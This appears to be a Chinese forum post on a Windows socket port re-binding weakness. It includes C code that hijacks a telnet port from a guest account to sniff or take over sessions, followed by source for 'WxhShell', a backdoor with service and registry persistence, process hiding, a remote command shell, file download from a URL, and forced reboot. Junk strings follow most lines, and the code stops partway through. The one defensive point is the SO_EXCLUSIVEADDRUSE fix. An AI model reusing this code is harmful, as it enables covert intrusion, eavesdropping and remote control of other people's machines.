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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U;f~Q6iu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $'Z\'<k[  
DU(QQ53  
  saddr.sin_family = AF_INET;  %~Vgz(/  
<yzgZXxIaS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wh8h1I  
>__t 2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s8;/'?K  
Ve\^(9n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ca}T)]//  
V ':?rEN|  
  这意味着什么?意味着可以进行如下的攻击: nv>|,&;  
1KwUp0% &  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bV c"'RQ  
pJ)PVo\cV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 06pEA.ro  
%6Wv-:LY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2_i/ F)W  
/4x3dwXW@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  AA$+ayzx9{  
_Q&O#f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x?T.ItW:K  
7;0$UYDU*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3i1e1Lj1  
kB~KC-&O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [!Uzw 2  
ErZYPl  
  #include 9?M>Y?4  
  #include I !\;NVhv  
  #include Gp*U2LB  
  #include    \X&LrneR"t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   66RqjP '2  
  int main() %&EDh2w>  
  { oqM(?3 yv  
  WORD wVersionRequested; WGy3SV )  
  DWORD ret; `*?8<Vm  
  WSADATA wsaData; >v1E;-ZA  
  BOOL val; kC : pal  
  SOCKADDR_IN saddr; 2AN6(k4o  
  SOCKADDR_IN scaddr; M@)^*=0H  
  int err; g$=y#<2?  
  SOCKET s; 8&d s  
  SOCKET sc; o]Ln:kl  
  int caddsize; Y"eR&d  
  HANDLE mt; #p<1@,  
  DWORD tid;   TF0DQP  
  wVersionRequested = MAKEWORD( 2, 2 ); fMg3  
  err = WSAStartup( wVersionRequested, &wsaData ); fK-tvP0}*  
  if ( err != 0 ) { wXj!bh8\r  
  printf("error!WSAStartup failed!\n"); ;4E(n  
  return -1; W=Y?_Oz  
  } Z]Zs"$q@  
  saddr.sin_family = AF_INET; Iv J ;9d  
   mn5mdrv3WZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i^Ba?r;*  
e G8Zn<:s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8vP:yh@  
  saddr.sin_port = htons(23); -wA^ao   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BbCt_z'  
  { .nGYx  
  printf("error!socket failed!\n"); ]m ED3#  
  return -1; 'a&(r;  
  } [xaglZ9HNo  
  val = TRUE; FrPpRe%!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |dLA D4%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R9dC$Y]\M  
  { *qh$,mp>  
  printf("error!setsockopt failed!\n"); ^F}HWpF_  
  return -1;  (C1@f!Z  
  } CBj&8#8Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cwe@W PE2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d-cK`pSB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sg=mkkD!g  
-~wGJM VA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /Ah|Po  
  { .1O  
  ret=GetLastError(); NrC (.*?m  
  printf("error!bind failed!\n"); rXortK#\%  
  return -1; >_ )~"Ra  
  } Glt%%TJb   
  listen(s,2); g%Yw Dr=0t  
  while(1) Obd};&6Q  
  { oH[4<K>  
  caddsize = sizeof(scaddr); %`o3YR  
  //接受连接请求 j|WuOZm\0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l7g< $3  
  if(sc!=INVALID_SOCKET) z j[/~ I  
  { 9/La _ :K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D$ >gAv  
  if(mt==NULL) %Q)3*L  
  { (3H'!P7|~  
  printf("Thread Creat Failed!\n"); K >-)O=$s  
  break; L}>XH*  
  } d=q&UCC  
  } 0cd`. ZF  
  CloseHandle(mt); ,gvv297  
  } wEMh !jAbv  
  closesocket(s); pi'w40!:  
  WSACleanup(); rQW&$M  
  return 0; \~3g*V  
  }   ~6:<OdQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) (A6 -9g>  
  { [sM~B  
  SOCKET ss = (SOCKET)lpParam; |_=o0l f  
  SOCKET sc; N*k`'T  
  unsigned char buf[4096]; Z#n!=k TTm  
  SOCKADDR_IN saddr; b r"4 7i  
  long num; Cg~GlZk}  
  DWORD val; XT n`$}nz  
  DWORD ret; $LS$:%i4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :HDl-8]Lw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~"<AYJlO  
  saddr.sin_family = AF_INET; {x $h K98  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ERql^Yr  
  saddr.sin_port = htons(23); R\L0   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JN9 W:X.  
  { &&N]u e@>  
  printf("error!socket failed!\n"); 1NP(3yt%  
  return -1; l7{Xy_66  
  } 5`$.GV  
  val = 100; 9~6FWBt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IX!Q X  
  { 4FmT.P  
  ret = GetLastError(); V b=Oz  
  return -1; yq3i=RB(  
  } g3p*OYf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i+ I%]  
  { |@J:A!  
  ret = GetLastError(); 3NEbCILF  
  return -1; ]Zfg~K(  
  } tgu}^TfKkg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sqAZjfy@  
  { '.n0[2>  
  printf("error!socket connect failed!\n"); "V|1w>s  
  closesocket(sc); pRt=5WZ  
  closesocket(ss); rKlu+/G  
  return -1; @`qhQ  
  } {Z>OAR#   
  while(1) we<m%pf  
  { Q:.q*I!D<4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (lDbArqy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n[jyhBf\W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VA9" Au  
  num = recv(ss,buf,4096,0); k<mfBNvuo  
  if(num>0) N# Ru `;  
  send(sc,buf,num,0); 80X #V  
  else if(num==0) k79" xyXX  
  break; ogt<vng  
  num = recv(sc,buf,4096,0); R %QgOz3`  
  if(num>0) [m>kOv6>^  
  send(ss,buf,num,0); eq0&8/=  
  else if(num==0) ]!yuD/4A  
  break; G(LGa2;Zg  
  } }i32  
  closesocket(ss); Pt/dH+r`%  
  closesocket(sc); 5ua`5Hb;  
  return 0 ; gr\UI!]F  
  } .OLm{  
ar-N4+!@  
%3L4&W _T  
========================================================== %P!6cyQS  
|hsg= LX  
下边附上一个代码,,WXhSHELL [.M<h^xrB  
?a ~59!u  
========================================================== #G[S  
J2X;=X5  
#include "stdafx.h" LKCj@NdV  
6,nws5dh  
#include <stdio.h> Wb*A};wE  
#include <string.h> n H)6mOYp  
#include <windows.h> <cQ)*~hN  
#include <winsock2.h> L&[uE;ro  
#include <winsvc.h> ;T!w$({V0z  
#include <urlmon.h> oyQp"'|N  
_9%R U"  
#pragma comment (lib, "Ws2_32.lib") /%E X4 W  
#pragma comment (lib, "urlmon.lib") ]a4rA+NFLB  
89*txYmx  
#define MAX_USER   100 // 最大客户端连接数 RAw/Q$I  
#define BUF_SOCK   200 // sock buffer ~x:\xQti  
#define KEY_BUFF   255 // 输入 buffer Ks|qJ3;  
DnbT<oEL  
#define REBOOT     0   // 重启 [If%+mHdU  
#define SHUTDOWN   1   // 关机 5Jo><P a  
/U |@sw4  
#define DEF_PORT   5000 // 监听端口 cG)i:  
I9xQ1WJc`  
#define REG_LEN     16   // 注册表键长度 K-%x] Fp=  
#define SVC_LEN     80   // NT服务名长度 Ns?8N":  
~b.C[s  
// 从dll定义API \-X Qo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1SddZ5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MeD}S@H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?P<8Zw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8UH c,np  
QU4/hS;Ux  
// wxhshell配置信息 _wMc7`6F  
struct WSCFG { 3q{op9_T7  
  int ws_port;         // 监听端口 [)K?e!c8  
  char ws_passstr[REG_LEN]; // 口令 El3Y1g3+3  
  int ws_autoins;       // 安装标记, 1=yes 0=no ELh`|X  
  char ws_regname[REG_LEN]; // 注册表键名 T#ktC0W]h  
  char ws_svcname[REG_LEN]; // 服务名 WCK;r{p%I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %Vf3r9 z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -4  ~(*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TvV_Tz4e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gXrPZ|iS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r_m*$r~f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -0Ws3  
a: C h"la  
}; ={HYwP;  
Lt\Wz'6Y  
// default Wxhshell configuration 5u(,g1s}UZ  
struct WSCFG wscfg={DEF_PORT, <1r#hFUUL  
    "xuhuanlingzhe", ;+d2qbGd  
    1, #$vQT}  
    "Wxhshell", f{s}[p~  
    "Wxhshell", O$<m(~[S  
            "WxhShell Service", K9{]v=#I  
    "Wrsky Windows CmdShell Service", fk*$}f  
    "Please Input Your Password: ", !bf8 r  
  1, ^T(v4'7  
  "http://www.wrsky.com/wxhshell.exe", t0^chlJP$  
  "Wxhshell.exe" r&$r=f<  
    }; J.nJ@?O+  
*{_WM}G  
// 消息定义模块 QqpXUyHp[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F]_w~1 n5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :Z(w,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oqLM-=0<}  
char *msg_ws_ext="\n\rExit."; dRl*rP/  
char *msg_ws_end="\n\rQuit."; Wt$" f  
char *msg_ws_boot="\n\rReboot..."; 4z {jWNM)N  
char *msg_ws_poff="\n\rShutdown..."; PubO|Mf  
char *msg_ws_down="\n\rSave to "; lCyBdY9n  
33O O%rWi  
char *msg_ws_err="\n\rErr!"; dA[MjOd3  
char *msg_ws_ok="\n\rOK!"; <=1nr@L  
75>)1H)Xm  
char ExeFile[MAX_PATH]; /' +GYS  
int nUser = 0; U|[+M@F_L  
HANDLE handles[MAX_USER]; &OK[n1M  
int OsIsNt; #*J+4a w3  
2u B66i  
SERVICE_STATUS       serviceStatus; l"T{!Oq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OI@;ffHSW  
"pa}']7#  
// 函数声明 A.f!SYV6  
int Install(void); AeQIsrAHE  
int Uninstall(void); A>0wqT  
int DownloadFile(char *sURL, SOCKET wsh); $w:7$:k  
int Boot(int flag); @ V_@r@A  
void HideProc(void); E~[v.3`  
int GetOsVer(void); M1>2Q[h7  
int Wxhshell(SOCKET wsl); Wciw6.@  
void TalkWithClient(void *cs); 2q4dCbJ!  
int CmdShell(SOCKET sock); u]<7}R@s  
int StartFromService(void); @<n8?"{5S  
int StartWxhshell(LPSTR lpCmdLine); *hm;C+<~  
G7|CwzMg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W zKaLyM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h'QEwW  
y<r@zb9  
// 数据结构和表定义 ")gd)_FOS  
SERVICE_TABLE_ENTRY DispatchTable[] = HU~,_m  
{ ap 5D6y+  
{wscfg.ws_svcname, NTServiceMain}, ~s$ jiA1  
{NULL, NULL} ( E8(np  
}; oU\Q|mN(  
y2_^lW%  
// 自我安装 (] Zyk, [  
int Install(void) { \r1A  
{ 0=WZ 8|R  
  char svExeFile[MAX_PATH]; =1:dKo8  
  HKEY key; I;=HXL  
  strcpy(svExeFile,ExeFile); .aA 8'/  
4>JDo,AWy  
// 如果是win9x系统,修改注册表设为自启动 vt(A?$j|A  
if(!OsIsNt) { ,JL Y oE+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E#5$O2b#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rt%3\?rf  
  RegCloseKey(key); X+R?>xq{=h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wZAY0@pA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "s?!1v(v  
  RegCloseKey(key); NWN Pq"  
  return 0; r[u@ [  
    } 9f wFSJx  
  } (Lp$EC&%6  
} ;z>?- j  
else { Z`W @Od$f  
oo+nqc`,O  
// 如果是NT以上系统,安装为系统服务 eD#R4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H@j D %  
if (schSCManager!=0) W-72&\7  
{ iC$mb~G  
  SC_HANDLE schService = CreateService r+#!]wNPe  
  ( ^Z6N&s#6  
  schSCManager, ! u4'1jd[d  
  wscfg.ws_svcname, Vk3xWD~  
  wscfg.ws_svcdisp, "Z\^dR  
  SERVICE_ALL_ACCESS, mbZS J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RD$"ft]Vc  
  SERVICE_AUTO_START, !awsQ!e|  
  SERVICE_ERROR_NORMAL, !yfQ^a_ O  
  svExeFile, sF+mfoMtG  
  NULL, >$%rsc}^  
  NULL, Os9;;^k  
  NULL, D>HX1LV  
  NULL, v?9  
  NULL )|d]0/<  
  ); =9LeFrz  
  if (schService!=0) cb9ndZ)v.  
  { 5os(.   
  CloseServiceHandle(schService); K~U5jp c  
  CloseServiceHandle(schSCManager); -0tHc=\u(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zy<gA >  
  strcat(svExeFile,wscfg.ws_svcname); H*h7Y*([  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C2Pw;iK_t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1TuN   
  RegCloseKey(key); mvCH$}w8&  
  return 0; Z^fkv  
    } (,i&pgVZ  
  } aYmC LLj  
  CloseServiceHandle(schSCManager); Ki8]+W37  
} `Dn"<-9:  
} O%Mi`\W@  
2v;F@fUB.  
return 1; [1 ?  
} ,[Bv\4Ah  
:*/'W5iM  
// 自我卸载 a$~pAy5C  
int Uninstall(void) Z0(}doh  
{ Hxw 7Q?F  
  HKEY key; j$he5^GC  
)-RI  
if(!OsIsNt) { E|Q|Nx!6[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i8kyYMPP  
  RegDeleteValue(key,wscfg.ws_regname); ;1wRo`RD  
  RegCloseKey(key); nO{m2&r+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wcd1.$ n  
  RegDeleteValue(key,wscfg.ws_regname); tlz+!>  
  RegCloseKey(key); <z=d5g{n  
  return 0; 7FTf8  
  } oa K&!$S]  
} ]:6M!+?(  
} d=6FL" .o  
else { a%fMf[Fu  
j3J\%7^i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;;3oWsil}  
if (schSCManager!=0) (;Ad:!9{  
{ )6k([u%;B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ag6^>xb^  
  if (schService!=0) E&wz0d;gf  
  { ^J[r<Dm8F  
  if(DeleteService(schService)!=0) { {cW%i:  
  CloseServiceHandle(schService); ??7c9l5,  
  CloseServiceHandle(schSCManager); 8vuA`T!~G  
  return 0; j~ 'a %P  
  } JxV 0y  
  CloseServiceHandle(schService); m7F"kD  
  } bH7 lUS~  
  CloseServiceHandle(schSCManager); o~(/Twxam  
} I|SQhbi  
} XEB1%. p  
';\v:dP  
return 1; &t1Uk[  
} saj%[Gsy  
`F^~*FnR,B  
// 从指定url下载文件 soTmKqj E  
int DownloadFile(char *sURL, SOCKET wsh) ^`MGlI}   
{ f\{ynC2m  
  HRESULT hr; 3T|xUY)G4  
char seps[]= "/"; $YNWT\FE  
char *token; k^Gf2%k  
char *file; RTJ\|#w  
char myURL[MAX_PATH]; t.ci!#/d  
char myFILE[MAX_PATH]; !qQ B}sAf  
&.ilku/  
strcpy(myURL,sURL); V=?qU&r<+  
  token=strtok(myURL,seps); k v>rv37u  
  while(token!=NULL) lDV}vuM<4  
  { {?zBc E:  
    file=token; ?q %&"  
  token=strtok(NULL,seps); [T<Z?  
  } UrP jZ:K'  
LO&/U4:  
GetCurrentDirectory(MAX_PATH,myFILE); Sp2<rI  
strcat(myFILE, "\\"); \a .^5g  
strcat(myFILE, file); [PI!.9H  
  send(wsh,myFILE,strlen(myFILE),0); j$5S_]2  
send(wsh,"...",3,0); [\rnJ lE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =Ay'\j  
  if(hr==S_OK) ]8c%)%Vi  
return 0; Hy9c<X[F9  
else 4^jIV!V  
return 1; gpe/dfyJ9  
,?k~>,{3  
} \%! t2=J!  
wt(Hk6/B  
// 系统电源模块 hYI0S7{G  
int Boot(int flag) 1e'Ez4*  
{ jk\04k  
  HANDLE hToken; NO%x 2dx0  
  TOKEN_PRIVILEGES tkp; ?}tWI7KI  
.Z0$KQ'iy  
  if(OsIsNt) { icw (y(W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WA$Ug  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r) SG!;X  
    tkp.PrivilegeCount = 1; 8F;f&&L"y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yG ,oSp|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #j?SdQ  
if(flag==REBOOT) { 0&@pD`K e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l5*sCp*Z  
  return 0; 6HK dBW$/  
} =rB=! ;  
else { R'Uw17I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eM1=r:jgE  
  return 0; &{5v[:$  
} N"M?kk,  
  } O.HaEg/-  
  else { 6bacU#0o  
if(flag==REBOOT) { g:yUZ;U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2l YA% n  
  return 0; U^@8ebv  
} E;>Bc Pt5  
else { O9_S"\8]@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7F;dLd'  
  return 0; ~*-%tFSv  
} VGPBD-6)  
} {$ (X,E  
n-5@<y^  
return 1; rZt7C(FM$7  
} y. A]un1  
Wi5rXZS  
// win9x进程隐藏模块 M#U#I :z%  
void HideProc(void) .vm.g=-q  
{ (0c L! N;;  
bY>JLRQJ-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c@ea ;Cv  
  if ( hKernel != NULL ) pp!>:%  
  { 1/l;4~p7'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {Iu9%uR>@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jb5nL`(j$  
    FreeLibrary(hKernel); KXtc4wra  
  } `PH*tdYrh  
DClV&\i=o  
return; @ a$HJ:  
} TSp;Vr OP  
]\8{z"  
// 获取操作系统版本 j&qJK,~  
int GetOsVer(void) `Qg#`  
{ `O'@TrI  
  OSVERSIONINFO winfo; `n{yls7.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G=Qslrtg  
  GetVersionEx(&winfo); i]L4kh5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G9_M~N%a  
  return 1; &E{i#r)'T  
  else TX%W-J _  
  return 0; >@T(^=Q  
} uQYBq)p|  
[|NgrU_.  
// 客户端句柄模块 +=qazE<:0  
int Wxhshell(SOCKET wsl) fK'qc L  
{ 2 ~zo)G0  
  SOCKET wsh; gEBwn2  
  struct sockaddr_in client; I {o\d'/  
  DWORD myID; , id`=L=  
\!_:<"nX.  
  while(nUser<MAX_USER) Hh<3k- *d  
{ >d{O1by=d9  
  int nSize=sizeof(client); ~:|qdv%\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :q+D`s  
  if(wsh==INVALID_SOCKET) return 1; jl:dKL@  
_]Ei,Ua  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J6s55 v  
if(handles[nUser]==0) potb6jc?  
  closesocket(wsh); POouO/r$  
else `B4Px|3  
  nUser++; ,Z"l3~0\  
  } 7LB#\2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eL7rX"!  
sHr!GF  
  return 0; ` s}v6  
} R8ui LZd  
%L^S;v3  
// 关闭 socket /JOEnQ5X\!  
void CloseIt(SOCKET wsh) u{@b_7 5Y  
{ YnCWmlC  
closesocket(wsh); DW,fh8w  
nUser--; z3lMD'uU3  
ExitThread(0); .-0;:>  
} wU|Y`wJmF  
" * Qwaq_  
// 客户端请求句柄 ];|;")#=  
void TalkWithClient(void *cs) 09RJc3XE9  
{ j+p=ik  
=}G `i**  
  SOCKET wsh=(SOCKET)cs; wJb\Q  
  char pwd[SVC_LEN]; 05+uBwH  
  char cmd[KEY_BUFF]; 0k];%HV|  
char chr[1]; W9$mgs=S`E  
int i,j; jq4{UW'  
fR4O^6c:  
  while (nUser < MAX_USER) { <^Hh5kfS'  
>#MGGCGL  
if(wscfg.ws_passstr) { - /s2'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L'>t:^QTh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p4|Zz:f  
  //ZeroMemory(pwd,KEY_BUFF); '$cU\DTN6  
      i=0; m;v/(d>  
  while(i<SVC_LEN) { 8")1,   
3j2% '$>E^  
  // 设置超时 jx=2^A/i2-  
  fd_set FdRead; ^ H,oI*  
  struct timeval TimeOut; 9 J$z/j;X  
  FD_ZERO(&FdRead); fYU-pdWPT  
  FD_SET(wsh,&FdRead); #\&jM -.-  
  TimeOut.tv_sec=8; KL4Z||n  
  TimeOut.tv_usec=0; D/jS4'$vA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JQ*CF(9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fRTQ5V  
6^L4wd7)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L;},1 \  
  pwd=chr[0]; );$L#XpB  
  if(chr[0]==0xd || chr[0]==0xa) { U[S#axak  
  pwd=0; 7@.UkBOx  
  break; O1nfz>L`  
  } )32BM+f"77  
  i++; %rz.>4i)(  
    } hb>,\46}  
d.7pc P  
  // 如果是非法用户,关闭 socket |<@X* #X5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZW}0{8Dk  
} V m1U00lM{  
4g.y$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y dgaZJs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  LWb5C{  
T/^ /U6JB  
while(1) { #_tixg  
2<aBUGA  
  ZeroMemory(cmd,KEY_BUFF); pvJsSX  
nKFua l3  
      // 自动支持客户端 telnet标准   B=:7N;BT  
  j=0; cD6$C31Y]  
  while(j<KEY_BUFF) { @x>J-Owd]J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a9ab>2G?FR  
  cmd[j]=chr[0]; cTKj1)!z?X  
  if(chr[0]==0xa || chr[0]==0xd) { :VPZGzK4  
  cmd[j]=0; <B;l).[6  
  break; r )cG ee  
  } e1dT~l  
  j++; 5o~;0K]  
    } [Hn4&PET  
> dJvl|  
  // 下载文件 T(<C8  
  if(strstr(cmd,"http://")) { -vXX u;frt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F3\'WQh  
  if(DownloadFile(cmd,wsh)) xj/ +Z!,9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "%aJ 'l2  
  else m~fA=#l l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3|Q:tt'|#  
  } K h}Oiw  
  else { b7It8  
Y5~_y?BX  
    switch(cmd[0]) { n lsQf3  
  '3f"#fF6  
  // 帮助 ]@W.5!5H  
  case '?': { Uk u~"OGC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @<ba+z>"~4  
    break; r/E;tm [\  
  } s@sr.'yU  
  // 安装 blcd]7nK  
  case 'i': { z?HP%g'M~  
    if(Install()) D>u1ngu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *dn~-W.  
    else \N\Jny  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DiyviH  
    break; +$:bzo_u  
    } CT@JNG$<"  
  // 卸载 .kSx>3  
  case 'r': { @N`) Z3P+  
    if(Uninstall()) Y!LcS48X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <im BFw  
    else F:.rb Ei  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9-Bp=M  
    break; DFKU?#R  
    } c|[:vin  
  // 显示 wxhshell 所在路径 qALlMj--m  
  case 'p': { /s3AZ j9  
    char svExeFile[MAX_PATH]; m$xL#omD  
    strcpy(svExeFile,"\n\r"); -MV</  
      strcat(svExeFile,ExeFile); ST3aiyG  
        send(wsh,svExeFile,strlen(svExeFile),0); gG0P &9xz  
    break; Kc+;"4/#q  
    } Ey$J.qw3  
  // 重启 ve2GRTO^aC  
  case 'b': { n$Z@7r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "VxZnT  
    if(Boot(REBOOT)) ,[}5@cS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kd8V,teH  
    else { R9o3T)9V  
    closesocket(wsh); #EiOC.A=  
    ExitThread(0); C2;qSKG3{m  
    } 0FfBD[E:  
    break; &k+G^ !=s#  
    } PW"G]G,  
  // 关机 V-U,3=C  
  case 'd': { >OVi{NyT  
